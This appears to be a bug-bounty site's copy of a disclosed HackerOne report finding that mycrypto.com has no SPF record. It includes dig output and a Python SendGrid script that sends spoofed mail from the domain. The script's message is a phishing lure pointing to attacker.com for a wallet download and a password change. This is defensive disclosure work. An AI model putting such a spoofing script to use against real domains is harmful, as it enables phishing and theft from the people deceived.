Skip to content
Misconfiguration Disclosed report Beginner

Missing SPF record for the in scope domain

The domain mycrypto.com lacks an SPF record, which normally lists servers allowed to send email for that domain. An attacker could send email that appears to come from the domain, such as a password-reset message, to phish recipients.

luciann Follow

Originally disclosed on HackerOne

Medium 6.4 View original
  • Disclosed after 2 months
nli@nlistation:~$ dig mycrypto.com txt

; <<>> DiG 9.10.3-P4-Ubuntu <<>> mycrypto.com txt
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43571
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;mycrypto.com.			IN	TXT

;; AUTHORITY SECTION:
mycrypto.com.		10800	IN	SOA	ns-1945.awsdns-51.co.uk. awsdns-hostmaster.amazon.com. 1 7200 900 1209600 86400

;; Query time: 37 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Tue Mar 13 22:37:32 EET 2018
;; MSG SIZE  rcvd: 125

Instead of:

nli@nlistation:~$ dig gmail.com txt

; <<>> DiG 9.10.3-P4-Ubuntu <<>> gmail.com txt
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19223
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;gmail.com.			IN	TXT

;; ANSWER SECTION:
gmail.com.		300	IN	TXT	"v=spf1 redirect=_spf.google.com"

;; Query time: 52 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Tue Mar 13 22:37:49 EET 2018
;; MSG SIZE  rcvd: 82

Where you can observe "v=spf1 redirect=_spf.google.com". Further more this is a functional exploit for this issue (you still need an API key):

import sendgrid
import os
from sendgrid.helpers.mail import *
 
sg = sendgrid.SendGridAPIClient(apikey=os.environ.get('SENDGRID_API_KEY'))
from_email = Email("[email protected]")
to_email = Email("Your email")
subject = "Please Change your Password"
content = Content("text/plain", "Message From Admin ,Download Wallet from https://attacker.com, Change your password at https://attacker.com")
mail = Mail(from_email, subject, to_email, content)
response = sg.client.mail.send.post(request_body=mail.get())
print(response.status_code)
print(response.body)
print(response.headers)

You can also send from a web server or something else of your choosing.

Impact

Missing SPF record for the in scope domain allows attackers to impersonate emails in order to send targeted phishing emails. This is rather common for ICO's or targeted attacks.

Attachments

Selection_040.png
Selection_040.png From the original on HackerOne
Selection_041.png
Selection_041.png

The original report as published on HackerOne, by luciann. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the domain owner never published an SPF TXT record, so receiving mail servers have no authorised-sender list to check.

Impact

Attackers could send phishing emails that appear to come from the domain, which may be used for targeted attacks.

What the attacker needed

Domain has no SPF record; attacker has an email API key

How it was found

  1. Query the domain's TXT records with a DNS lookup tool.
  2. Observe that the answer section is empty, meaning no SPF record is returned.
  3. Compare with a domain that does publish an SPF record to confirm the difference.
  4. Use an email API with a sender address at the target domain to send a message.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

SPF is a DNS record that tells receiving mail servers which computers are allowed to send email for a domain. Without it, a spam filter has no list to check, so a message claiming to be from the domain may be accepted. The reporter shows that the domain has no such record and that a bulk email service can be told to use that domain as the sender.

What is Misconfiguration?

Settings left unsafe: exposed panels, open storage buckets, debug modes, default credentials.

More by luciann

View all

2 more disclosed reports, best first.

More from MyCrypto

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Security misconfiguration

The lesson behind this report.

Settings left unsafe: exposed panels, open storage buckets, debug modes, default credentials.